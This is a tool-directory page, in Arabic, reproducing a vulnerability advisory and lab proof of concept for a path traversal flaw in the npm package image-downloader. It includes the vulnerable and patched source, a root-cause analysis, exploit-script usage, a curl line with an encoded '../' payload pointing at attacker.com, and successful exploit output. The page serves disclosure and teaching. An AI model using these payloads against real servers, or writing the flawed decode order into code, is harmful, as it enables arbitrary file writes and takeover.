Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/eternullsec/cve-2026-103648
ماسحات الثغرات الأمنيةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالأوراق والأبحاثالتعلم والتعليمالفريق الأحمرمختبرات وتدريب عملي
GitHubeternullsec/cve-2026-103648

CVE-2026-103648

استشارة وإثبات مفهوم لـ CVE-2026-103648، وهو اجتياز مسار (CWE-22) في image-downloader 4.3.0 يتيح الكتابة التعسفية للملفات، مع تحليل السبب الجذري، وفرق التصحيح، ومختبر Docker.

منذ 8س 7دلم تتم المراجعة بعد
عرض المستودع

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-103648 — اجتياز المسار في image-downloader

CVE CVSS CWE Package Status License

اكتُشفت بواسطة: Amirhossein Roustaei (@EterNullSec) — Eternull Security

⚠️ لأغراض تعليمية فقط. يوثّق هذا المستودع ثغرة أُفصح عنها بمسؤولية. جميع أكواد إثبات المفهوم مخصّصة للبحث الأمني المصرّح به والاختبار في بيئات معملية معزولة فقط. لا تستخدمها ضد أنظمة لا تملكها أو لا تملك إذنًا كتابيًا صريحًا باختبارها.


📋 ملخّص الإرشاد

الحقلالتفاصيل
معرّف CVECVE-2026-103648
مدخل NVDnvd.nist.gov/vuln/detail/CVE-2026-103648
درجة CVSS v3.19.1 حرجة — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
CWECWE-22: التقييد غير الصحيح لاسم المسار إلى دليل مقيّد
الحزمةimage-downloader (npm) بواسطة demsking
التنزيلات الأسبوعية من npm~11,000 (~38,000/شهريًا) — المصدر
الإصدارات المتأثرة< 4.3.1 (جميع الإصدارات بما فيها 4.3.0)
الإصدار المُصلَّح4.3.1
مُعيَّن بواسطةGitLab
تاريخ النشر2026-10-02
المُبلِّغAmirhossein Roustaei (@EterNullSec)، Eternull Security

🔬 تحليل السبب الجذري التقني

توجد الثغرة في منطق استخراج اسم الملف في [email protected]. هذا هو المصدر الفعلي للإصدار المتأثر (index.js، مأخوذ مباشرةً من حزمة npm المنشورة):

// [email protected] — index.js (actual source, unmodified)
module.exports.image = ({ extractFilename = true, ...options } = {}) => {
  if (!options.url) {
    return Promise.reject(new Error('The options.url is required'));
  }
  if (!options.dest) {
    return Promise.reject(new Error('The options.dest is required'));
  }

  if (extractFilename) {
    if (!path.extname(options.dest)) {
      const url = new URL(options.url);
      const pathname = url.pathname;
      const basename = path.basename(pathname);          // ❌ basename BEFORE decode
      const decodedBasename = decodeURIComponent(basename); // decode happens AFTER

      options.dest = path.join(options.dest, decodedBasename); // path.join resolves ".."
    }
  }
  // ...
  return request(options);
};

الخلل الدقيق

  1. يُستدعى path.basename(pathname) على مسار URL الذي لا يزال مُرمَّزًا بنسبة مئوية. تسلسل مثل %2e%2e%2fpwned.sh لا يحتوي على / حرفي، لذا يعامل path.basename() الكل كاسم ملف واحد ويعيده دون تغيير — لا يُزال أي شيء.
  2. ثم تُمرَّر النتيجة بعد ذلك عبر decodeURIComponent(). هذه هي الخطوة التي تعيد %2e%2e%2f إلى ../ حرفي — لكنها في هذه المرحلة قد نجت بالفعل من خطوة basename التي كان يُفترض أن تُطهّرها.
  3. يُستدعى path.join(options.dest, decodedBasename) بسلسلة تحتوي الآن على مقطع ../ حقيقي. يُطبّع path.join() الرمز .. بنفس طريقة cd .. — لذا يُحلّ مسار الكتابة النهائي إلى موقع خارج options.dest.

باختصار: يفكّ الكود ترميز اسم الملف بالطريقة الصحيحة، لكن بترتيب خاطئ بالنسبة إلى path.basename(). فك الترميز ثم basename آمن؛ أما basename ثم فك الترميز فليس كذلك.

أصغر مُشغِّل

URL pathname:  /%2e%2e%2fpwned.sh
basename():    "%2e%2e%2fpwned.sh"        (unchanged — no literal '/')
decode:        "../pwned.sh"              (traversal now literal)
path.join(dest, "../pwned.sh")
            → resolves one directory ABOVE dest

تفصيل CVSS

Attack Vector:       Network   (AV:N)  — remotely triggerable
Attack Complexity:   Low       (AC:L)  — no special conditions
Privileges Required: None      (PR:N)  — no authentication needed
User Interaction:    None      (UI:N)  — fully automated
Scope:               Unchanged (S:U)
Confidentiality:     None      (C:N)
Integrity:           High      (I:H)   — arbitrary file write
Availability:        High      (A:H)   — overwrite critical files / DoS

🎯 نموذج الهجوم

يوضّح هذا المعمل آلية الخلل من البداية إلى النهاية في سكربت واحد لسهولة إعادة الإنتاج، لكن يجدر ذكر نموذج الهجوم الواقعي صراحةً:

  • الضحية: أي تطبيق يستدعي download.image({ url, dest }) من image-downloader بقيمة url لم يتحكّم بها بالكامل بنفسه — مثل URL يُرسله مستخدم (ميزات استيراد الصور الرمزية/الصور)، أو يُسحب من حمولة webhook، أو يُقرأ من خلاصة RSS/محتوى.
  • المهاجم: يتحكّم (أو يمكنه إعادة التوجيه إلى) خادم HTTP الذي يشير إليه url الخاص بالضحية، ويتحكّم في مكوّن المسار لذلك URL — وهذا كافٍ بحد ذاته، لأن الاجتياز يكمن في مسار URL (%2e%2e%2f...)، وليس في جسم الاستجابة.
  • التأثير: تكتب عملية الضحية ملفًا يختاره المهاجم إلى مسار يختاره المهاجم، خارج الدليل الذي قصده المطوّر — وفي الحاويات أو السكربتات التي تعمل بصلاحيات وصول واسعة إلى نظام الملفات، يتصاعد هذا عادةً إلى تنفيذ كود (مثل الكتابة فوق ملف cron، أو ملف authorized_keys، أو ملف تنفيذي يشغّله التطبيق لاحقًا).

في exploit/exploit.py، دُمج دورا المهاجم والضحية في سكربت واحد لتسهيل المعمل (فهو يُقيم كلاً من طلب خادم "الضحية" وخادم الحمولة الذي يتحكّم به المهاجم). في سيناريو استغلال حقيقي، هذان طرفان منفصلان وغير مرتبطان — وقد بُني إثبات المفهوم بهذه الطريقة فقط لجعل الثغرة قابلة لإعادة الإنتاج بأمر واحد.


🧪 إعداد بيئة المعمل

المتطلبات المسبقة

  • Docker و Docker Compose أو Node.js v18+
  • Python 3.x (لسكربت الاستغلال)

الخيار أ — Docker (موصى به)

git clone https://github.com/EterNullSec/CVE-2026-103648.git
cd CVE-2026-103648
docker compose up --build

سيكون الخادم المتأثر متاحًا على http://localhost:3000.

الخيار ب — Node.js يدويًا

cd vulnerable-app/
npm install
node server.js

💥 خطوات إعادة الإنتاج (PoC)

الخطوة 1 — تشغيل الخادم المتأثر

cd vulnerable-app/
npm install
node server.js
# Server running on http://localhost:3000
# Download directory: /tmp/downloads/

الخطوة 2 — تشغيل الاستغلال

python3 exploit/exploit.py --target http://localhost:3000 --lhost 127.0.0.1

أو يدويًا باستخدام curl (الاجتياز في مسار URL، وليس في جسم الاستجابة):

curl "http://localhost:3000/download?url=http://attacker.com/%2e%2e%2f%2e%2e%2ftmp%2fpwned.txt"

الخطوة 3 — التحقق من الاجتياز

# Check that the file landed OUTSIDE /tmp/downloads/
ls -la /tmp/pwned.txt
cat /tmp/pwned.txt

📸 إثبات التنفيذ

$ python3 exploit/exploit.py --target http://localhost:3000 --lhost 127.0.0.1

[*] CVE-2026-103648 — image-downloader Path Traversal PoC
[*] Target      : http://localhost:3000
[*] Payload URL : http://127.0.0.1:8888/%2e%2e%2f%2e%2e%2ftmp%2fpwned_by_eternullsec.txt
[*] Serving payload file on port 8888...
[+] Request received by exploit HTTP server
[+] Exploit delivered. Verifying write...
[+] SUCCESS! File written to: /tmp/pwned_by_eternullsec.txt
[+] File contents: CVE-2026-103648 | Path Traversal | EterNullSec

🔧 تحليل الترقيع

أُصلحت في 4.3.1 (commit fb44543). هذا هو المصدر المُرقَّع الفعلي:

// [email protected] — index.js (actual source, unmodified)
const filenameFromPathname = (pathname) => {
  const decoded = decodeURIComponent(pathname);   // ✅ decode FIRST

  if (decoded.includes('\0')) {
    throw invalidFilename('the URL path contains a NUL byte');
  }
  return path.basename(decoded);                  // ✅ THEN basename
};
تنزيل الأداة